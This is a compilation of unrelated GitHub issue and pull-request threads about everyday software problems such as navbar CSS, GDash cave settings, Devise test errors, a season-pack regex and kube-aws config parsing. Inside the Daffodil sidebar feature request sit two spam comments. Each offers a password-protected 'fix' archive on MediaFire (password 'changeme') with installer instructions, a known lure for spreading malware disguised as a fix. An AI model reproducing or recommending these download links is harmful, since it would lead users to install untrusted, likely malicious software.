Removing the float: right sounds good. I think the reason is OK (and still gives right-aligned navbar end) is because the navbar-center div has a mr-auto class, which means to fill up the right margin of that div automatically, pushing other divs to the right.

and ensures that navbar-end-items all end up on a single line (space permitting) by setting them to display: inline-block.

Is this part for the normal view as well, or only for the collapsed / mobile view?
I see that at https://27181-1301584-gh.circle-artifacts.com/0/dev/index.html, if reduce the size of my window, some items indeed get put on multiple lines, before it switches to the collapsed mobile view.
But also with display: inline-block, I suppose this stays that way if there is simply not enough space in the navbar? (ideally it would switch to collapsed mobile view quicker in such a case)

and ensures that navbar-end-items all end up on a single line (space permitting) by setting them to display: inline-block.

Is this part for the normal view as well, or only for the collapsed / mobile view?

That is for the normal view. Without it they will always be on separate lines. I also noticed what you did --- that when reducing window width they will briefly change to 2 lines before hamburger mode kicks in --- but the same thing happens to the TOC links in the center nav (especially for 2-word items like "get help"). I agree that switching to hamburger mode earlier would probably solve it, but there may be other ways too.

@jorisvandenbossche I'm happy now with how this functions, see screencapture video below:
https://user-images.githubusercontent.com/1810515/114777800-b3319580-9d39-11eb-974a-f84184c7a37a.mp4
LMK if this behavior looks right to you.

that looks good to me as well :-) thanks for fixing this @drammock

@drammock is this ready? (the PR is still in draft)

(with this PR in, we can do a 0.6.1 release, I think)

oops!  yes, forgot it was in draft mode.  Will rebase to remove conflicts now.

OK @jorisvandenbossche this should be ready to go now.

let's do it! thanks @drammock for spot-checking the fix, much appreciated :-)


An invisible outbox is visible

../caves/Alan_Bond/Boulder_Brain.gds - Cave 09
GDash Cave Editor shows the invisible outbox in the left bottom corner.
But the exit is visible during the game: https://youtu.be/sN6l4oEODNI?t=144

I tried this cave on Windows, reduced required diamonds to 1 and if I get 1 diamond the outbox does NOT flash.
What version/OS are you using?

Windows 10 Enterprise LTSC 21H2

Which GDash version? Does this happen with any cave with a hidden outbox? Even a simple one?

gdash-export-1.8-win-64
The app calls itself GDashexport-1.7-fork
Yes, this happens even in a simple cave.
I set 2 exits, one visible (top), one invisible (left), 1 required diamond and both exits are flashing:
https://youtu.be/P_GXArzNKAY

Try Edit -> Preferences -> No invisible outbox: UNCHECK

Yeah, now it works as expected!
Is the setting checked by default?
I definitely never touch it.

It's not set by default. Either delete gdash.ini or use --default-settings


[FEAT] Sidebar in API reference pages

:bulb: Feature request
Feature Name
Sidebar in API reference pages
The Desired Behavior
Add a sidebar that lists out all the packages, similar to the individual docs/packages pages (w/ links to the package api page)
Your Use Case
Prior Work

Environment

Daffodil version: X.Y.Z
Angular version: X.Y.Z

For Tooling issues:
- Node version: XX
- Platform:

Others:

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

fixed by #3030


add drawing tool website extension

Is your feature request related to a problem? Please describe.
i would like to add a drawing tool as an extension where we can make digital art at side and save them
Describe the solution you'd like
This website is an advanced interactive drawing tool that allows users to create digital art directly in their browser. It features a responsive design, various drawing tools including pen, eraser, and color picker, as well as options to undo, redo, save, and load drawings. Users can customize brush sizes and colors, ensuring a flexible and enjoyable drawing experience.
Additional context
Add any other context or screenshots about the feature request here.

Closing this as exists


undefined method `rails5?' for Devise::Test:Module

Environment

Ruby [2.3.0]
Rails [5.2.0.rc1]
Devise [4.4.2]

describe "GET #index" do
    it 'redirects to login if not logged in' do
      get :index
      expect(response).to redirect_to(new_user_session_url)
    end
end

now throws this error:
1) Admin::ReleasesController GET #index redirects to login if not logged in
     Failure/Error: get :index

     NoMethodError:
       undefined method `rails5?' for Devise::Test:Module

The test itself hasn't changed. None of the other controllers specs result in this warning.

Duplicate of #4808


Optional season pack regex checks explicitly for '.' - should use word boundary

The optional season pack regex /\.S\d+\.(?!E\d+\.)/i is explicitly looking for . separators. I found this resulted in it favouring one source of another that use whitespace separators instead. Suggest changing it to use word boundaries instead:
/\bS\d+\b(?!E\d+\b)/i

Got a example for me so I can test it.
Keep in mind it's made to prefer P2P over scene.

Hmm, not sure about the P2P vs scene difference.
Some.Show.S02.1080p.AMZN.WEB-DL.DDP5.1.H.264-NTG
Some Show S02 1080p AMZN WEB-DL DDP5 1 H 264-NTG

Two different trackers. The first one matches the original regex whilst the second doesn't. They both match using the suggested regex.

I'll take a look at it this weekend.
To be honest the regex was actually made to catch something else.
Later we discovered that it actually works to catch a season pack.

https://github.com/TRaSH-/Tutorials-FAQ/commit/5ec28d6943845df31961263aac73140c59e71d09
thnx


init the ocmagent CRD and api

What type of PR is this?
feature
What this PR does / why we need it?
Initiate the custom resource and the api for the operator
Which Jira/Github issue(s) this PR fixes?
Fixes OSD-8937
Special notes for your reviewer:
Pre-checks (if applicable):

[ ] Tested latest changes against a cluster
[ ] Ran make generate command locally to validate code changes
[ ] Included documentation changes with PR

/test validate

It looks like boilerplate generates the deploy/crds/ocmagent.managed.openshift.io_ocmagents.yaml file rather than deploy/crds/ocmagent.managed.openshift.io_ocmagents_crd.yaml (or at least it does for me when I run boilerplate/_lib/container-make generate) - I think we can safely delete the _crd.yamlfile as part of this PR and focus on having boilerplate updatedeploy/crds/ocmagent.managed.openshift.io_ocmagents.yaml` as per its normal behaviour.

Running a boilerplate/_lib/container-make generate will also result in a few minor changes to the following files:

deploy/crds/ocmagent.managed.openshift.io_ocmagents.yaml
pkg/apis/ocmagent/v1alpha1/zz_generated.deepcopy.go

that should be committed in the PR - this will make it pass validation.

Thanks for the review. Updated the PR with the requested changes. @mrbarge

/lgtm


Add: Operator Condition to Alert Condition.

Added: Operator Condition to Alert Condition schema.
Also updated README.md and test schemas for operator condition to pass/fail their test.  I'm not sure if I need to post the test if it passed on my local machine or not but if that's needed I can provide that as well.

From here I assume to leave it alone until it is merged, correct?


Can't create new thread?

After running my script for about 1.5 hours, I always get the same error of "Can't create new thread". I have absolutely no understanding of threading but if anyone would be able to help me figure out how if I can fix this problem, I would greatly appreciate it.

Can you provide the full traceback and any relevant code?


CAMEL-17491: do not add context path to the paths of the operations.

Add a unit test to verify the absence of the context-path.

Can you add a note about this in the 3.15 upgrade doc - see under the root/docs folder

Can you add a note about this in the 3.15 upgrade doc - see under the root/docs folder

Done.


Need to define order for acl rules with only hostname / only path name entries.

Server Version - V0.30.0-rc2
Create LB rule for 2 services - s1 and s2 with following rules:
target1 - hostname - "abc" service - "s1"
target2 - path - "/test1" service - "s2"
When trying to access , http://:port/test1 with header set to "abc" , we could hit containers from service s1/s2.
Currently there is no defined order to program acl rules with only hostname / only path name entries in haproxy. There needs to be an order defined for it.

the order is:

hostName and url
just host name
just url
default

Tested with server version - rancher/server:v0.31.0-rc1
The following order is enforced when programming haproxy:
hostName and url
just host name
just url
default


Adding JS for "log your periods" button

This method will predict when the user will have their next period and manipulate the DOM for results

Please assign me this issue under JWOC

@ayushanand308 wait for the new design to be implemented .. u can work on this then

Alright.

@nisha331 Should I work on it now?

@ayushanand308 assigning u an issue

Yes I am.

Just have to add "log dates again" button

screen-capture (2).webm
Is this OK?
P.S.Calendar is not visible in recording but on website it is working fine.

I want to work on this issue under JWOC please assign it to me

@ayushanand308 y am i unable to see the calendar in the screen recording ? way it that ways? I dont think so .

Its only in the recording. On the webpage it is indeed working fine.

@nisha331  I have made a PR. Can you review that?


Cannot click on links or buttons inside table view cells

[x] I've read and understood the Contributing guidelines and have done my best effort to follow them.
[x] I've read and agree to the Code of Conduct.
[x] I've searched for any related issues and avoided creating a duplicate issue.

Description
Inside the tableview cell I would like to click on a link. Instead (I guess) this is blocked by the keyboard hide gesture.
Reproducible in:

[x] This is reproducible in the sample project.
SlackTextViewController version: 1.9.3
iOS version(s): 9.3
Device(s): All iOS Devices

Steps to reproduce:

Make the a textview inside your tableviewcell recognize links or create a button inside the tableview cell.
Click on the link/button
Be disappointed

Expected result:
Associated events with UIButton or the link are fired
Actual result:
Keyboard hides. If Keyboard is not active nothing happens.
Attachments:

Thanks for your kind reply :) I would like to have the singleTapGesture only be active if the keyboard is shown. Will code this for my use case now - maybe thats a nice default behavior?

That one was a bi*** to figure out. I used an XIB to hook up as cell to my TableView. All subviews have to be added to contentView NOT to the view itself. If you do actually put them directly under the view, you have to do this in your configureCell method:
cell.contentView.userInteraction = false

Further explained here: http://stackoverflow.com/questions/18866420/cant-click-uibutton-inside-a-cell-in-uitableview
Now it works flawless. Thanks for your awesome lib!

Nope - but if some people use XIBs as TableViewCells they most definitely will run into this problem. Maybe a mention in the docs would be nice?


RF Bridge - Binary Sensors loose state when Home Assistant restarts

Hi @AlexxIT !! First of all, I would like to thank you for the great work with Sonoff LAN! It really makes my life way easier!!
I have 3 RF door sensors on my Sonoff RF Bridge exposed to Home Assistant as below (and, btw, they are working great!):
sonoff:
    (...) user config ... etc... (...)
    rfbridge:
      casa_porta_abre: # Sensor da porta da casa
        name: casa_porta
        device_class: door
        timeout: 0
        payload_off: casa_porta_fecha
      suite_porta_abre: # Sensor da porta da suite
        name: suite_porta
        device_class: door
        timeout: 0
        payload_off: suite_porta_fecha
      quarto_porta_abre: # Sensor da porta do quarto
        name: quarto_porta
        device_class: door
        timeout: 0
        payload_off: quarto_porta_fecha

But every time I restart home assistant all the binary sensors goes to "off/closed" and I "loose" their state.
The question is: Is there a way to retain the open state on home assistant restart? I'm I missing something on the configuration?
Thanks in advance!!

The link below seems to solve this problem.... (Last post by @123). Hoping there's a way it can be done within SonoffLAN, but haven't found one yet...
https://community.home-assistant.io/t/can-a-mqtt-binary-sensor-retain-its-status-or-do-i-need-an-input-boolean/86234/28

Thanks @rronni!
I've seen this workaround.
But, if possible, I would like to stick with de Sonoff LAN component.

Me too! Will keep an eye on this thread :)
Get Outlook for iOShttps://aka.ms/o0ukef

From: andrepia<EMAIL_ADDRESS>Sent: Thursday, July 16, 2020 1:57:11 PM
To: AlexxIT/SonoffLAN<EMAIL_ADDRESS>Cc: rronni<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [AlexxIT/SonoffLAN] RF Bridge - Binary Sensors loose state when Home Assistant restarts (#192)
Thanks @rronnihttps://github.com/rronni!
I've seen this workaround.
But, if possible, I would like to stick with de Sonoff LAN component.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/AlexxIT/SonoffLAN/issues/192#issuecomment-659392966, or unsubscribehttps://github.com/notifications/unsubscribe-auth/APX3FRWRW5JUUOWN6N6SCPTR332KPANCNFSM4O2PCY6Q.

Better to replace the RF-sensors with something modern


$transition$ within route to component

[ ] Bug Report
[ ] Feature Request
[x] General Query

My version of UI-Router is: 1.0.14
General Query
I've a question regarding accessing $transition$ within a route to component scenario.
According the following guide you recommend binding the $transition$ object to the component:
.state('userlist', {
  url: '/users/:myparam',
  component: 'users',
});

.component('users', {
  bindings: { $transition$: '<' },
  template: 'my template',
  controller: function() {
    this.$onInit = () => console.log(this.$transition$.params().myparam);
  }
}

In my opinion the following pattern would be better, as the component knows nothing about any routing information and everything is encapsulated in the routing module:
.state('userlist', {
  url: '/users/:myparam',
  component: 'users',
  resolve: {
    myparam: function($transition$) {
      return $transition$.params().myparam
    }
  }
});

.component('users', {
  bindings: { myparam: '<' },
  template: 'my template',
  controller: function() {
    this.$onInit = () => console.log(this.myparam);
  }
}

In my opinion the following pattern would be better, as the component knows nothing about any routing information and everything is encapsulated in the routing module:

I agree completely.  However, I do believe in some cases you may still want the whole transition in your component.  This is also important for a migration guide if somebody's existing code already injected and used $transition$.


Cluster.yaml unmarshalling refactor

Hello,
I've been trying to resolve issue #1143 for some time now and came across a couple of roadblocks. The first and most important uncovered so far is the way the config file (cluster.yaml) is currently parsed.
The cluster.yaml file is currently unmarshalled in different places. By looking through the code, I've identified yaml.Unmarshal is called from the controlplane, root package and the worker nodepool. Since the config file is really big, it includes a lot of types that are not understood across the different sections (or even entries that are deprecated and should no longer be there). When unmarshalling the controlplane, my cluster.yaml couldn't be fully parsed because the worker field was not recognised.
Error: file cluster.yaml: failed to parse cluster: yaml: unmarshal errors:
  line 132: field worker not found in type config.Cluster

I'm not fully sure about the best way to proceed with this. I've already posted in the original issue (#1143) but I would like to get some input. Would a refactor be needed? And if so, is it better to break the config file in smaller chunks or have an additional type that encapsulates the controlplane, root and nodepool, so the file is only unmarshalled once? Let me know your thoughts.

@Matei207 Hey! Thanks a lot for your effort on this.
I had been working on a POC of kube-aws after the EKS integration for 2 weeks. As one part of the work, I got a chance to revisit this issue.
In short, I'm thinking of unifying all three flavors of configurations controlplane, root, and worker into one "cluster" spec. After that the same cluster spec will be used for creating all the cloudformation stacks including root, network, etcd, control-plane, and nodepool.
Implementation-wise, yaml.Unmarshal  would be executed only once for cluster.yaml on the cluster spec object. Then you will be able to use UnmarshalStrict without issues like you've experienced.
WDYT?

Hey @mumoshu!
I think your idea is excellent, as a matter of fact, this is my team and I were discussing when the issue was first raised.
If you'd like, once it's done, I can revisit this issue if needed. Let me know if I can be of help in any way 👍


Please expose user information for User pages

I'm trying to access information about the GitHub user from a User gh-pages template, information such as the full name, location, company, etc.
More specifically, I would like to see the fields in this response.
I tried looking at {% for user in site.github.organization_members %}, expecting that would be the one user that owns the User pages, but that's empty... Then I tried {% for user in site.github.contributors %}, but that only lists the base information (such as the username), which might be OK if I had access to making more API requests, but from gh-pages I really can't...
Can we expose a field that would be only valid on User pages and that would be populated with that response for the owner of that site?
NOTE: I'm happy to try to contribute, though Ruby isn't really my thing and I'm unsure of how to actually test this... If you can give me some pointers, I can try to hack something together to make this work.
Thanks!
Filipe

Can we expose a field that would be only valid on User pages and that would be populated with that response for the owner of that site?

I could see adding site.github.owner, which exposes some user data about the owner of the repository. If it's an org, then we'd get org information. We'd likely want to limit this somewhat to prevent abuse, but public information like full name, location, and company should all be safe to include.


Update modes

Added basic support for groovy-mode
Added company-shell
Added rvm for ruby mode
Automatically format terraform files on buffer save

Thanks, but I don't use these features so I won't be merging these changes to my core config to maintain centrally. You're welcome to keep this sort of thing in your fork though. Happy you're finding the base config useful! :-)


Automatic ticket links

It is a common practice that developers put their ticket number at the beginning of their commits and pull requests.  These ticket numbers then appear in the changelog, but as plain text.  It would be helpful if the changelog generator could do a regex for the ticket number pattern and replace it with a link to the ticket in the project management tool of your choice.
I envision this working by passing the following command line arguments:

--ticket-url
--ticket-pattern

Here is how I'm currently implementing this in Travis without the feature in place:
github_changelog_generator --between-tags ${TRAVIS_TAG} --no-unreleased -t ${GITHUB_OAUTH_TOKEN} --no-verbose -o '/tmp/release-notes.txt'

perl -i -pe 's#([A-Z]{2,}-\d+)#[$1](https://example.atlassian.net/browse/$1)#g' /tmp/release-notes.txt

This transforms something like [PROJ-123] into a link directly to JIRA.
This works well because the ticket number is directly in the URL instead of an ID, which could be problematic in other ticket management tools.
Here is how I would like to see it work:
github_changelog_generator --between-tags ${TRAVIS_TAG} --no-unreleased -t ${GITHUB_OAUTH_TOKEN} --no-verbose --ticket-url 'https://example.atlassian.net/browse/$1' --ticket-pattern '([A-Z]{2,}-\d+)' -o '/tmp/release-notes.txt'

is that related to #609 [Is there way to list referenced but not closed issues]?


Core animated pages?

I just figured I'd mention it because I'm going to try it - using core animated pages with angular. I'd like to continue using UI router. So the different sections will be different views. Anyway - if you or anyone has already done it, please share a tip or how you might approach it. Thanks!

What exactly is the question/issue?

What exactly is the question/issue?

I suppose I'd like to set the selected attribute to the current state. Here's a plunkr I'm trying to make work: http://plnkr.co/edit/tYyuKLO1O5JQVtpNg9Th?p=preview
Basically, I'd like to transition between two states. First I have to wire up that selected attribute. And I'm not altogether sure that I can...

I suppose I'd like to set the selected attribute to the current state. Here's a plunkr I'm trying to make work: http://plnkr.co/edit/tYyuKLO1O5JQVtpNg9Th?p=preview
Basically, I'd like to transition between two states. First I have to wire up that selected attribute. And I'm not altogether sure that I can...

Please try out version 0.3.0 which supports Polymer 1.0 . You should be able to bind to any property with notify=true.

@morgs32 How's your progress? I'm about to attempt something similar.

@davorb I ended getting it to work, although it's a bit hacky: https://github.com/morgs32/angular-polymer. It's for the old Polymer. I ended up going with Angular Material, which got an update. You thinking of it for pushover?

@morgs32 I did something very similar. In the end, it felt too hacky and fragile, and I ended up using CSS-animations (I nicked some of the CSS from Polymer) and made my own directives.